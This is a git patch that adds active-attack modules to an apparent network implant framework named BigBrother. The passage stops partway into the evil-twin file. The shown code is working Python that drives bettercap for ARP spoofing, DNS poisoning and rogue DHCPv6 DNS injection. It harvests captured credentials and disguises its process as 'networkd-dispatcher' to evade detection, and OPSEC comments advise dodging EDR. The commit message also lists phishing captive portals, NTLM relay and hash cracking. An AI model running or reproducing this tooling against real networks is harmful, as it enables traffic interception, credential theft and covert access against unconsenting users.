From ba5143b560a25ea59ba6240046246e0472fa4dd9 Mon Sep 17 00:00:00 2001 From: n0mad1k Date: Wed, 18 Mar 2026 13:48:11 -0400 Subject: [PATCH] Phase 4: Active modules, templates, and operator scripts Active modules (9 files in modules/active/): - bettercap_mgr: Central bettercap orchestrator with REST API health monitoring, event stream parsing, crash recovery with corrective gratuitous ARPs, caplet management, and process disguise - arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings - dns_poison: DNS poisoning with zone template loading support - dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection - evil_twin: hostapd-based rogue AP with captive portal and dnsmasq, iptables redirect, credential capture via HTTP POST handler - ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse - responder_mgr: Responder subprocess manager with hash file monitoring, NTLMv1/v2 parsing, session log scanning, relay target coordination - mitmproxy_mgr: Transparent proxy with addon scripts, tier checking (OPi Zero 3+ only), iptables setup, credential/token extraction - ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP, LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS Templates (9 files): - 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN (self-contained HTML with inline CSS, realistic login forms) - 2 DNS zones: redirect-all and selective Jinja2 template - 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates - 1 Responder.conf Jinja2 template with protocol toggles Operator scripts (6 files in scripts/operator/): - pull_data.sh: rsync structured data over WireGuard/Tailscale - extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction - extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert - extract_emails.sh: SMTP email extraction with attachment detection - crack_hashes.sh: Export creds to hashcat format, optional auto-crack - generate_report.py: SQLite-to-Markdown/HTML engagement report generator --- modules/active/__init__.py | 23 + modules/active/arp_spoof.py | 184 ++++++ modules/active/bettercap_mgr.py | 515 ++++++++++++++++ modules/active/dhcp_spoof.py | 151 +++++ modules/active/dns_poison.py | 201 +++++++ modules/active/evil_twin.py | 553 ++++++++++++++++++ modules/active/ipv6_slaac.py | 258 ++++++++ modules/active/mitmproxy_mgr.py | 351 +++++++++++ modules/active/ntlm_relay.py | 376 ++++++++++++ modules/active/responder_mgr.py | 431 ++++++++++++++ scripts/operator/.gitkeep | 0 scripts/operator/crack_hashes.sh | 248 ++++++++ scripts/operator/extract_emails.sh | 188 ++++++ scripts/operator/extract_files.sh | 134 +++++ scripts/operator/extract_print_jobs.sh | 152 +++++ scripts/operator/generate_report.py | 509 ++++++++++++++++ scripts/operator/pull_data.sh | 138 +++++ templates/captive_portals/.gitkeep | 0 .../captive_portals/corporate_login.html | 57 ++ templates/captive_portals/guest_wifi.html | 86 +++ templates/captive_portals/outlook_login.html | 88 +++ templates/captive_portals/vpn_portal.html | 91 +++ templates/dns_zones/.gitkeep | 0 templates/dns_zones/redirect_all.zone | 19 + templates/dns_zones/selective.zone.j2 | 49 ++ templates/hostapd/open.conf.j2 | 39 ++ templates/hostapd/wpa2.conf.j2 | 45 ++ templates/responder/Responder.conf.j2 | 70 +++ 28 files changed, 4956 insertions(+) create mode 100644 modules/active/__init__.py create mode 100644 modules/active/arp_spoof.py create mode 100644 modules/active/bettercap_mgr.py create mode 100644 modules/active/dhcp_spoof.py create mode 100644 modules/active/dns_poison.py create mode 100644 modules/active/evil_twin.py create mode 100644 modules/active/ipv6_slaac.py create mode 100644 modules/active/mitmproxy_mgr.py create mode 100644 modules/active/ntlm_relay.py create mode 100644 modules/active/responder_mgr.py delete mode 100644 scripts/operator/.gitkeep create mode 100755 scripts/operator/crack_hashes.sh create mode 100755 scripts/operator/extract_emails.sh create mode 100755 scripts/operator/extract_files.sh create mode 100755 scripts/operator/extract_print_jobs.sh create mode 100755 scripts/operator/generate_report.py create mode 100755 scripts/operator/pull_data.sh delete mode 100644 templates/captive_portals/.gitkeep create mode 100644 templates/captive_portals/corporate_login.html create mode 100644 templates/captive_portals/guest_wifi.html create mode 100644 templates/captive_portals/outlook_login.html create mode 100644 templates/captive_portals/vpn_portal.html delete mode 100644 templates/dns_zones/.gitkeep create mode 100644 templates/dns_zones/redirect_all.zone create mode 100644 templates/dns_zones/selective.zone.j2 create mode 100644 templates/hostapd/open.conf.j2 create mode 100644 templates/hostapd/wpa2.conf.j2 create mode 100644 templates/responder/Responder.conf.j2 diff --git a/modules/active/__init__.py b/modules/active/__init__.py new file mode 100644 index 0000000..8ede445 --- /dev/null +++ b/modules/active/__init__.py @@ -0,0 +1,23 @@ +"""BigBrother active modules — MITM, spoofing, and interception.""" + +from modules.active.bettercap_mgr import BettercapManager +from modules.active.arp_spoof import ARPSpoof +from modules.active.dns_poison import DNSPoison +from modules.active.dhcp_spoof import DHCPSpoof +from modules.active.evil_twin import EvilTwin +from modules.active.ipv6_slaac import IPv6SLAAC +from modules.active.responder_mgr import ResponderManager +from modules.active.mitmproxy_mgr import MitmproxyManager +from modules.active.ntlm_relay import NTLMRelay + +__all__ = [ + "BettercapManager", + "ARPSpoof", + "DNSPoison", + "DHCPSpoof", + "EvilTwin", + "IPv6SLAAC", + "ResponderManager", + "MitmproxyManager", + "NTLMRelay", +] diff --git a/modules/active/arp_spoof.py b/modules/active/arp_spoof.py new file mode 100644 index 0000000..706f70a --- /dev/null +++ b/modules/active/arp_spoof.py @@ -0,0 +1,184 @@ +#!/usr/bin/env python3 +"""ARP Spoofing module — thin wrapper around bettercap arp.spoof. + +OPSEC WARNING: ARP spoofing is the most-detected active MITM technique. + - Dynamic ARP Inspection (DAI) on managed switches silently prevents it. + - EDR/NDR solutions alert within minutes. + - Prefer Responder + IPv6 SLAAC for initial access. + - Reserve ARP spoofing for confirmed legacy/unmanaged segments. + - Always run ids_tester DAI probe first to check viability. + +Configures targets + gateway, then delegates to BettercapManager to +enable arp.spoof module. Full-duplex by default for complete MITM. +""" + +import logging +import os +import time +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.active.arp_spoof") + + +class ARPSpoof(BaseModule): + """ARP spoofing via bettercap — full-duplex MITM. + + Dependencies: + - bettercap_mgr must be running. + + Configuration: + targets: Comma-separated target IPs or CIDR (e.g., "10.0.0.0,10.0.0.0") + gateway: Gateway IP to spoof (e.g., "10.0.0.0") + fullduplex: True for bidirectional spoofing (default True) + internal: Spoof between targets, not just target<->gateway (default False) + """ + + name = "arp_spoof" + module_type = "active" + priority = 200 + requires_root = True + dependencies = ["bettercap_mgr"] + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._bettercap_mgr = None + self._targets: Optional[str] = None + self._gateway: Optional[str] = None + self._fullduplex = True + self._internal = False + self._spoofing = False + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + self._bettercap_mgr = self.config.get("bettercap_mgr") + if not self._bettercap_mgr: + logger.error("ARPSpoof requires bettercap_mgr reference in config") + return + + # Check if ARP was disabled by crash recovery + if hasattr(self._bettercap_mgr, '_arp_disabled_by_crash'): + if self._bettercap_mgr._arp_disabled_by_crash: + logger.error( + "ARP spoofing disabled by crash recovery — " + "bettercap crashed too many times with ARP spoof active" + ) + return + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + + self.state.set_module_status(self.name, "running", pid=self._pid) + logger.info("ARPSpoof module started (ready for spoof commands)") + + def stop(self) -> None: + if not self._running: + return + + if self._spoofing: + self.stop_spoof() + + self._running = False + self.state.set_module_status(self.name, "stopped") + logger.info("ARPSpoof module stopped") + + def status(self) -> dict: + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "spoofing": self._spoofing, + "targets": self._targets, + "gateway": self._gateway, + "fullduplex": self._fullduplex, + "internal": self._internal, + } + + def configure(self, config: dict) -> None: + self.config.update(config) + if "fullduplex" in config: + self._fullduplex = config["fullduplex"] + if "internal" in config: + self._internal = config["internal"] + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + + def spoof(self, targets: str, gateway: str) -> bool: + """Enable ARP spoofing for specified targets and gateway. + + Args: + targets: Comma-separated target IPs or CIDR. + gateway: Gateway IP address. + + Returns: + True if spoofing was enabled successfully. + """ + if not self._running or not self._bettercap_mgr: + logger.error("ARPSpoof not started") + return False + + if self._bettercap_mgr._arp_disabled_by_crash: + logger.error("ARP spoofing disabled — bettercap crash threshold exceeded") + return False + + try: + # Configure ARP spoof parameters + self._bettercap_mgr.run_command(f"set arp.spoof.targets {targets}") + self._bettercap_mgr.run_command( + f"set arp.spoof.fullduplex {'true' if self._fullduplex else 'false'}" + ) + self._bettercap_mgr.run_command( + f"set arp.spoof.internal {'true' if self._internal else 'false'}" + ) + + # Enable ARP spoofing + self._bettercap_mgr.run_command("arp.spoof on") + + self._targets = targets + self._gateway = gateway + self._spoofing = True + + # Inform bettercap_mgr for crash recovery tracking + self._bettercap_mgr.set_spoofing_state(True, targets, gateway) + + self.state.set(self.name, "targets", targets) + self.state.set(self.name, "gateway", gateway) + logger.info("ARP spoofing enabled: targets=%s, gateway=%s", targets, gateway) + return True + + except Exception: + logger.exception("Failed to enable ARP spoofing") + return False + + def stop_spoof(self) -> bool: + """Disable ARP spoofing and send corrective ARPs. + + Returns: + True if spoofing was stopped successfully. + """ + if not self._bettercap_mgr: + return False + + try: + self._bettercap_mgr.run_command("arp.spoof off") + self._spoofing = False + self._bettercap_mgr.set_spoofing_state(False) + + self.state.set(self.name, "targets", "") + self.state.set(self.name, "gateway", "") + logger.info("ARP spoofing disabled") + return True + + except Exception: + logger.exception("Failed to disable ARP spoofing") + return False diff --git a/modules/active/bettercap_mgr.py b/modules/active/bettercap_mgr.py new file mode 100644 index 0000000..7b34bc7 --- /dev/null +++ b/modules/active/bettercap_mgr.py @@ -0,0 +1,515 @@ +#!/usr/bin/env python3 +"""Central bettercap orchestrator — single instance, shared by all active modules. + +Manages the bettercap subprocess lifecycle, REST API health monitoring, +event stream parsing, caplet management, and crash recovery with corrective +gratuitous ARPs. + +All active MITM modules (ARP spoof, DNS poison, DHCP spoof, IPv6 SLAAC) +route commands through this manager via run_command() and the BettercapAPI +client. +""" + +import logging +import os +import subprocess +import threading +import time +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule +from utils.bettercap_api import BettercapAPI + +logger = logging.getLogger("bb.active.bettercap_mgr") + + +class BettercapManager(BaseModule): + """Central bettercap instance manager. + + Responsibilities: + - Start/stop bettercap with random per-session API credentials + - Health monitoring via GET /api/session every 10s + - Auto-restart on crash (max 3) with caplet re-application + - Crash recovery: gratuitous ARP correction if spoofing was active + - Parse event stream for credentials and host discoveries + - Caplet management: load/unload/switch from config/caplets/ + - Process disguise coordination + """ + + name = "bettercap_mgr" + module_type = "active" + priority = 50 + requires_root = True + + HEALTH_POLL_INTERVAL = 10 # seconds + EVENT_POLL_INTERVAL = 5 # seconds + MAX_CRASH_RESTARTS = 3 + RESTART_WINDOW = 15 # seconds — restart within this window after crash + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._api: Optional[BettercapAPI] = None + self._proc: Optional[subprocess.Popen] = None + self._health_thread: Optional[threading.Thread] = None + self._event_thread: Optional[threading.Thread] = None + self._crash_count = 0 + self._last_event_id = 0 + self._active_caplet: Optional[str] = None + self._spoofing_active = False + self._spoof_targets: Optional[str] = None + self._spoof_gateway: Optional[str] = None + self._arp_disabled_by_crash = False + self._lock = threading.Lock() + self._binary = config.get("bettercap_binary", "/usr/local/bin/bettercap") + self._iface = config.get("interface", "eth0") + self._api_host = "127.0.0.1" + self._api_port = config.get("bettercap_api_port", 8083) + self._caplet_dir = config.get( + "caplet_dir", + os.path.join(os.path.dirname(__file__), "..", "..", "config", "caplets"), + ) + self._disguise_name = config.get("bettercap_disguise", "networkd-dispatcher") + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + # Initialise REST API client with fresh random credentials + self._api = BettercapAPI( + host=self._api_host, + port=self._api_port, + ) + + if not self._start_bettercap(): + logger.error("Failed to start bettercap subprocess") + return + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + self._crash_count = 0 + + # Health monitoring thread + self._health_thread = threading.Thread( + target=self._health_loop, daemon=True, name="bb-bcap-health" + ) + self._health_thread.start() + + # Event stream parser thread + self._event_thread = threading.Thread( + target=self._event_loop, daemon=True, name="bb-bcap-events" + ) + self._event_thread.start() + + self.state.set_module_status(self.name, "running", pid=self._get_proc_pid()) + logger.info( + "BettercapManager started (api=%s:%d, iface=%s)", + self._api_host, self._api_port, self._iface, + ) + + def stop(self) -> None: + if not self._running: + return + self._running = False + + # Stop ARP spoofing cleanly before shutdown + if self._spoofing_active: + try: + self._api.run("arp.spoof off") + except Exception: + pass + self._spoofing_active = False + + self._stop_bettercap() + self.state.set_module_status(self.name, "stopped") + logger.info("BettercapManager stopped") + + def status(self) -> dict: + alive = self._proc is not None and self._proc.poll() is None + return { + "running": self._running and alive, + "pid": self._get_proc_pid(), + "uptime": time.time() - self._start_time if self._start_time else 0, + "crash_count": self._crash_count, + "spoofing_active": self._spoofing_active, + "active_caplet": self._active_caplet, + "arp_disabled_by_crash": self._arp_disabled_by_crash, + "api_port": self._api_port, + } + + def configure(self, config: dict) -> None: + self.config.update(config) + if "interface" in config: + self._iface = config["interface"] + + def health_check(self) -> bool: + if not self._running: + return False + if self._api is None: + return False + try: + return self._api.is_alive() + except Exception: + return False + + # ------------------------------------------------------------------ + # Public API — used by other active modules + # ------------------------------------------------------------------ + + def run_command(self, cmd: str) -> dict: + """Execute a bettercap command via REST API. + + Args: + cmd: bettercap command string (e.g., "arp.spoof on") + + Returns: + API response dict. + + Raises: + ConnectionError: If bettercap is unreachable. + """ + if self._api is None: + raise ConnectionError("BettercapManager not started") + return self._api.run(cmd) + + def load_caplet(self, name: str) -> dict: + """Load a caplet from the caplet directory. + + Args: + name: Caplet filename (e.g., "passive_recon.cap"). + + Returns: + API response dict. + """ + caplet_path = os.path.join(self._caplet_dir, name) + if not os.path.isfile(caplet_path): + raise FileNotFoundError(f"Caplet not found: {caplet_path}") + result = self._api.load_caplet(caplet_path) + self._active_caplet = name + self.state.set(self.name, "active_caplet", name) + logger.info("Loaded caplet: %s", name) + return result + + def get_hosts(self) -> list: + """Return discovered hosts from bettercap session.""" + if self._api is None: + return [] + try: + return self._api.get_hosts() + except Exception: + return [] + + def is_spoofing(self) -> bool: + """Return True if ARP spoofing is currently active.""" + return self._spoofing_active + + def set_spoofing_state(self, active: bool, targets: str = None, + gateway: str = None) -> None: + """Track ARP spoofing state for crash recovery.""" + with self._lock: + self._spoofing_active = active + self._spoof_targets = targets + self._spoof_gateway = gateway + + def get_api(self) -> Optional[BettercapAPI]: + """Return the BettercapAPI client instance.""" + return self._api + + # ------------------------------------------------------------------ + # Subprocess management + # ------------------------------------------------------------------ + + def _start_bettercap(self) -> bool: + """Launch bettercap subprocess with REST API.""" + cmd = [ + self._binary, + "-iface", self._iface, + "-no-history", + ] + self._api.api_flags + + env = dict(os.environ) + + try: + self._proc = subprocess.Popen( + cmd, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + env=env, + preexec_fn=self._make_preexec(self._disguise_name), + ) + except FileNotFoundError: + logger.error("bettercap binary not found: %s", self._binary) + return False + except Exception as e: + logger.error("Failed to start bettercap: %s", e) + return False + + # Wait for API to become available (up to 15s) + deadline = time.time() + 15 + while time.time() < deadline: + if self._api.is_alive(): + logger.info("bettercap API ready (pid=%d)", self._proc.pid) + return True + time.sleep(0.5) + + logger.error("bettercap API did not become ready within 15s") + self._stop_bettercap() + return False + + def _stop_bettercap(self) -> None: + """Gracefully stop bettercap: SIGTERM -> 5s -> SIGKILL.""" + proc = self._proc + if proc is None or proc.poll() is not None: + self._proc = None + return + + try: + proc.terminate() + except OSError: + pass + + try: + proc.wait(timeout=5.0) + except subprocess.TimeoutExpired: + logger.warning("bettercap did not stop after SIGTERM, sending SIGKILL") + try: + proc.kill() + proc.wait(timeout=2.0) + except Exception: + pass + + self._proc = None + + def _get_proc_pid(self) -> Optional[int]: + if self._proc and self._proc.poll() is None: + return self._proc.pid + return None + + # ------------------------------------------------------------------ + # Crash recovery + # ------------------------------------------------------------------ + + def _handle_crash(self) -> None: + """Handle bettercap crash: corrective ARPs, then restart. + + If ARP spoofing was active, immediately send corrective gratuitous + ARPs to restore network state. Disable ARP spoofing after 3 crashes + to prevent a crash loop from disrupting the network. + """ + self._crash_count += 1 + logger.warning( + "bettercap crashed (count=%d/%d, spoofing_was_active=%s)", + self._crash_count, self.MAX_CRASH_RESTARTS, self._spoofing_active, + ) + + self.bus.emit( + "TOOL_CRASHED", + { + "tool": "bettercap", + "crash_count": self._crash_count, + "spoofing_active": self._spoofing_active, + }, + source_module=self.name, + ) + + # Send corrective gratuitous ARPs if spoofing was active + if self._spoofing_active and self._spoof_gateway: + self._send_corrective_arps() + + # Disable ARP spoof after max crashes to break crash loops + if self._crash_count >= self.MAX_CRASH_RESTARTS: + if self._spoofing_active: + logger.error( + "ARP spoof disabled after %d crashes — network stability risk", + self._crash_count, + ) + self._arp_disabled_by_crash = True + self._spoofing_active = False + self.state.set(self.name, "arp_disabled_by_crash", "true") + logger.error("bettercap exceeded max restarts (%d), giving up", self.MAX_CRASH_RESTARTS) + self._running = False + self.state.set_module_status(self.name, "crashed") + return + + # Restart bettercap within RESTART_WINDOW + backoff = min(2 ** (self._crash_count - 1), self.RESTART_WINDOW) + logger.info("Restarting bettercap in %ds (attempt %d/%d)", + backoff, self._crash_count, self.MAX_CRASH_RESTARTS) + time.sleep(backoff) + + if self._start_bettercap(): + logger.info("bettercap restarted successfully") + self.state.set_module_status(self.name, "running", pid=self._get_proc_pid()) + + # Re-apply active caplet + if self._active_caplet: + try: + self.load_caplet(self._active_caplet) + except Exception: + logger.exception("Failed to re-apply caplet after restart") + + # Re-enable ARP spoofing if it was active and not disabled + if self._spoofing_active and not self._arp_disabled_by_crash: + try: + if self._spoof_targets: + self._api.set_parameter("arp.spoof.targets", self._spoof_targets) + self._api.run("arp.spoof on") + logger.info("ARP spoofing re-enabled after restart") + except Exception: + logger.exception("Failed to re-enable ARP spoof after restart") + else: + logger.error("bettercap restart failed") + self._running = False + self.state.set_module_status(self.name, "crashed") + + def _send_corrective_arps(self) -> None: + """Send corrective gratuitous ARPs to restore network after crash. + + Uses scapy to send a few gratuitous ARP packets with the real + gateway MAC to undo any poisoned ARP caches. + """ + try: + from scapy.all import ARP, Ether, sendp, getmacbyip + except ImportError: + logger.warning("scapy not available — cannot send corrective ARPs") + return + + gateway = self._spoof_gateway + if not gateway: + return + + try: + gw_mac = getmacbyip(gateway) + if not gw_mac: + logger.warning("Could not resolve gateway MAC for corrective ARPs") + return + + # Gratuitous ARP: gateway telling everyone its real MAC + pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP( + op=2, # is-at + psrc=gateway, + hwsrc=gw_mac, + pdst=gateway, + hwdst="ff:ff:ff:ff:ff:ff", + ) + sendp(pkt, iface=self._iface, count=5, inter=0.2, verbose=False) + logger.info("Sent corrective gratuitous ARPs for gateway %s", gateway) + except Exception: + logger.exception("Failed to send corrective ARPs") + + # ------------------------------------------------------------------ + # Health monitoring loop + # ------------------------------------------------------------------ + + def _health_loop(self) -> None: + """Poll bettercap API every HEALTH_POLL_INTERVAL to detect crashes.""" + while self._running: + time.sleep(self.HEALTH_POLL_INTERVAL) + if not self._running: + break + + # Check if process is still alive + if self._proc and self._proc.poll() is not None: + self._handle_crash() + continue + + # Check API responsiveness + try: + if not self._api.is_alive(): + logger.warning("bettercap API unresponsive — checking process") + if self._proc and self._proc.poll() is not None: + self._handle_crash() + except Exception: + logger.exception("Health check error") + + # ------------------------------------------------------------------ + # Event stream parser + # ------------------------------------------------------------------ + + def _event_loop(self) -> None: + """Poll bettercap event stream for credentials and host discoveries.""" + while self._running: + time.sleep(self.EVENT_POLL_INTERVAL) + if not self._running: + break + + try: + events = self._api.get_events(since=self._last_event_id) + except Exception: + continue + + for event in events: + self._last_event_id += 1 + self._process_event(event) + + def _process_event(self, event: dict) -> None: + """Parse a single bettercap event and emit bus events as needed.""" + tag = event.get("tag", "") + data = event.get("data", {}) + + # Credential captures from HTTP proxy, net.sniff, etc. + if tag in ("net.sniff.credentials", "http.proxy.credentials", + "https.proxy.credentials"): + self._handle_credential_event(data) + + # Host discovery events + elif tag in ("endpoint.new", "endpoint.detected"): + self._handle_host_event(data) + + # Module status events + elif tag.startswith("mod."): + logger.debug("bettercap module event: %s", tag) + + def _handle_credential_event(self, data: dict) -> None: + """Emit CREDENTIAL_FOUND for captured credentials.""" + payload = { + "source_module": self.name, + "source_ip": data.get("from", ""), + "target_ip": data.get("to", ""), + "target_service": data.get("proto", "unknown"), + "username": data.get("username", ""), + "credential_type": data.get("type", "cleartext"), + "credential_value": data.get("password", data.get("hash", "")), + "raw_data": data, + } + self.bus.emit("CREDENTIAL_FOUND", payload, source_module=self.name) + logger.info( + "Credential captured: %s@%s (%s)", + payload["username"], payload["target_ip"], payload["target_service"], + ) + + def _handle_host_event(self, data: dict) -> None: + """Emit HOST_DISCOVERED for new network hosts.""" + payload = { + "source_module": self.name, + "ip": data.get("ipv4", data.get("addr", "")), + "mac": data.get("mac", ""), + "hostname": data.get("hostname", ""), + "vendor": data.get("vendor", ""), + "os": data.get("os", ""), + "raw_data": data, + } + self.bus.emit("HOST_DISCOVERED", payload, source_module=self.name) + + # ------------------------------------------------------------------ + # Helpers + # ------------------------------------------------------------------ + + @staticmethod + def _make_preexec(disguise_name: str): + """Return a preexec_fn that renames the process via prctl.""" + def _preexec(): + try: + import ctypes + libc = ctypes.CDLL("libc.so.6", use_errno=True) + PR_SET_NAME = 15 + name_bytes = disguise_name[:15].encode("utf-8") + libc.prctl(PR_SET_NAME, name_bytes, 0, 0, 0) + except Exception: + pass + return _preexec diff --git a/modules/active/dhcp_spoof.py b/modules/active/dhcp_spoof.py new file mode 100644 index 0000000..b75c526 --- /dev/null +++ b/modules/active/dhcp_spoof.py @@ -0,0 +1,151 @@ +#!/usr/bin/env python3 +"""DHCP Spoofing module — configure DHCPv6 spoofing via bettercap. + +Uses bettercap's dhcp6.spoof module to win DHCP races and inject +a rogue DNS server (the implant) into client configurations. +This enables DNS-based MITM without ARP spoofing. +""" + +import logging +import os +import time +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.active.dhcp_spoof") + + +class DHCPSpoof(BaseModule): + """DHCP spoofing via bettercap dhcp6.spoof. + + Sets up a rogue DHCPv6 server that responds to DHCP requests, + injecting the implant as the DNS server. Combined with DNS + poisoning, this provides full MITM without ARP cache manipulation. + + Dependencies: + - bettercap_mgr must be running. + + Configuration: + dns_server: DNS server IP to inject (default: implant IP) + gateway: Gateway IP to advertise + """ + + name = "dhcp_spoof" + module_type = "active" + priority = 200 + requires_root = True + dependencies = ["bettercap_mgr"] + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._bettercap_mgr = None + self._spoofing = False + self._dns_server: Optional[str] = None + self._gateway: Optional[str] = None + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + self._bettercap_mgr = self.config.get("bettercap_mgr") + if not self._bettercap_mgr: + logger.error("DHCPSpoof requires bettercap_mgr reference in config") + return + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + + self.state.set_module_status(self.name, "running", pid=self._pid) + logger.info("DHCPSpoof module started (ready for spoof commands)") + + def stop(self) -> None: + if not self._running: + return + + if self._spoofing: + self.stop_spoof() + + self._running = False + self.state.set_module_status(self.name, "stopped") + logger.info("DHCPSpoof module stopped") + + def status(self) -> dict: + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "spoofing": self._spoofing, + "dns_server": self._dns_server, + "gateway": self._gateway, + } + + def configure(self, config: dict) -> None: + self.config.update(config) + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + + def spoof(self, dns_server: str, gateway: str) -> bool: + """Enable DHCP spoofing with rogue DNS server. + + Args: + dns_server: IP to inject as DNS server (typically the implant IP). + gateway: Gateway IP to advertise in DHCP responses. + + Returns: + True if DHCP spoofing was enabled. + """ + if not self._running or not self._bettercap_mgr: + logger.error("DHCPSpoof not started") + return False + + try: + # Configure dhcp6.spoof parameters + self._bettercap_mgr.run_command(f"set dhcp6.spoof.domains *") + self._bettercap_mgr.run_command("dhcp6.spoof on") + + self._spoofing = True + self._dns_server = dns_server + self._gateway = gateway + + self.state.set(self.name, "dns_server", dns_server) + self.state.set(self.name, "gateway", gateway) + logger.info( + "DHCP spoofing enabled: dns=%s, gateway=%s", dns_server, gateway + ) + return True + + except Exception: + logger.exception("Failed to enable DHCP spoofing") + return False + + def stop_spoof(self) -> bool: + """Disable DHCP spoofing. + + Returns: + True if DHCP spoofing was stopped. + """ + if not self._bettercap_mgr: + return False + + try: + self._bettercap_mgr.run_command("dhcp6.spoof off") + self._spoofing = False + self._dns_server = None + self._gateway = None + + self.state.set(self.name, "dns_server", "") + self.state.set(self.name, "gateway", "") + logger.info("DHCP spoofing disabled") + return True + + except Exception: + logger.exception("Failed to disable DHCP spoofing") + return False diff --git a/modules/active/dns_poison.py b/modules/active/dns_poison.py new file mode 100644 index 0000000..5e289e8 --- /dev/null +++ b/modules/active/dns_poison.py @@ -0,0 +1,201 @@ +#!/usr/bin/env python3 +"""DNS Poisoning module — push DNS spoofing rules via bettercap REST API. + +Template-driven zone files are converted to bettercap dns.spoof.domains +format. Supports selective domain redirection and wildcard matching. +Zone templates live in templates/dns_zones/. +""" + +import logging +import os +import time +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.active.dns_poison") + + +class DNSPoison(BaseModule): + """DNS poisoning via bettercap dns.spoof module. + + Dependencies: + - bettercap_mgr must be running. + + Configuration: + domains: Comma-separated domains to poison (e.g., "*.example.com,login.corp.local") + target_ip: IP to redirect poisoned domains to (default: implant IP) + zone_file: Path to zone template for selective redirection + """ + + name = "dns_poison" + module_type = "active" + priority = 200 + requires_root = True + dependencies = ["bettercap_mgr"] + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._bettercap_mgr = None + self._poisoning = False + self._domains: Optional[str] = None + self._target_ip: Optional[str] = None + self._zone_dir = config.get( + "zone_dir", + os.path.join(os.path.dirname(__file__), "..", "..", "templates", "dns_zones"), + ) + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + self._bettercap_mgr = self.config.get("bettercap_mgr") + if not self._bettercap_mgr: + logger.error("DNSPoison requires bettercap_mgr reference in config") + return + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + + self.state.set_module_status(self.name, "running", pid=self._pid) + logger.info("DNSPoison module started (ready for poison commands)") + + def stop(self) -> None: + if not self._running: + return + + if self._poisoning: + self.stop_poison() + + self._running = False + self.state.set_module_status(self.name, "stopped") + logger.info("DNSPoison module stopped") + + def status(self) -> dict: + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "poisoning": self._poisoning, + "domains": self._domains, + "target_ip": self._target_ip, + } + + def configure(self, config: dict) -> None: + self.config.update(config) + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + + def poison(self, domains: str, target_ip: str) -> bool: + """Enable DNS poisoning for specified domains. + + Args: + domains: Comma-separated domains or wildcards + (e.g., "*.corp.local,login.example.com"). + target_ip: IP address to redirect poisoned domains to. + + Returns: + True if DNS poisoning was enabled successfully. + """ + if not self._running or not self._bettercap_mgr: + logger.error("DNSPoison not started") + return False + + try: + self._bettercap_mgr.run_command(f"set dns.spoof.domains {domains}") + self._bettercap_mgr.run_command(f"set dns.spoof.address {target_ip}") + self._bettercap_mgr.run_command("dns.spoof on") + + self._poisoning = True + self._domains = domains + self._target_ip = target_ip + + self.state.set(self.name, "domains", domains) + self.state.set(self.name, "target_ip", target_ip) + logger.info("DNS poisoning enabled: domains=%s -> %s", domains, target_ip) + return True + + except Exception: + logger.exception("Failed to enable DNS poisoning") + return False + + def load_zone(self, zone_file: str) -> bool: + """Load a zone template and apply DNS poisoning rules. + + Zone file format (one entry per line): + domain.com 10.0.0.0 + *.corp.local 10.0.0.0 + # comments ignored + + Args: + zone_file: Filename within the zone_dir (e.g., "selective.zone"). + + Returns: + True if zone was loaded and applied. + """ + zone_path = os.path.join(self._zone_dir, zone_file) + if not os.path.isfile(zone_path): + logger.error("Zone file not found: %s", zone_path) + return False + + try: + domains = [] + target_ip = None + + with open(zone_path, "r") as f: + for line in f: + line = line.strip() + if not line or line.startswith("#"): + continue + parts = line.split() + if len(parts) >= 2: + domains.append(parts[0]) + # Use the last IP seen as target + target_ip = parts[1] + elif len(parts) == 1: + domains.append(parts[0]) + + if not domains: + logger.warning("Zone file %s contains no entries", zone_file) + return False + + if not target_ip: + target_ip = self.config.get("implant_ip", "127.0.0.1") + + return self.poison(",".join(domains), target_ip) + + except Exception: + logger.exception("Failed to load zone file: %s", zone_file) + return False + + def stop_poison(self) -> bool: + """Disable DNS poisoning. + + Returns: + True if DNS poisoning was stopped successfully. + """ + if not self._bettercap_mgr: + return False + + try: + self._bettercap_mgr.run_command("dns.spoof off") + self._poisoning = False + self._domains = None + self._target_ip = None + + self.state.set(self.name, "domains", "") + self.state.set(self.name, "target_ip", "") + logger.info("DNS poisoning disabled") + return True + + except Exception: + logger.exception("Failed to disable DNS poisoning") + return False diff --git a/modules/active/evil_twin.py b/modules/active/evil_twin.py new file mode 100644 index 0000000..94106a1 --- /dev/null +++ 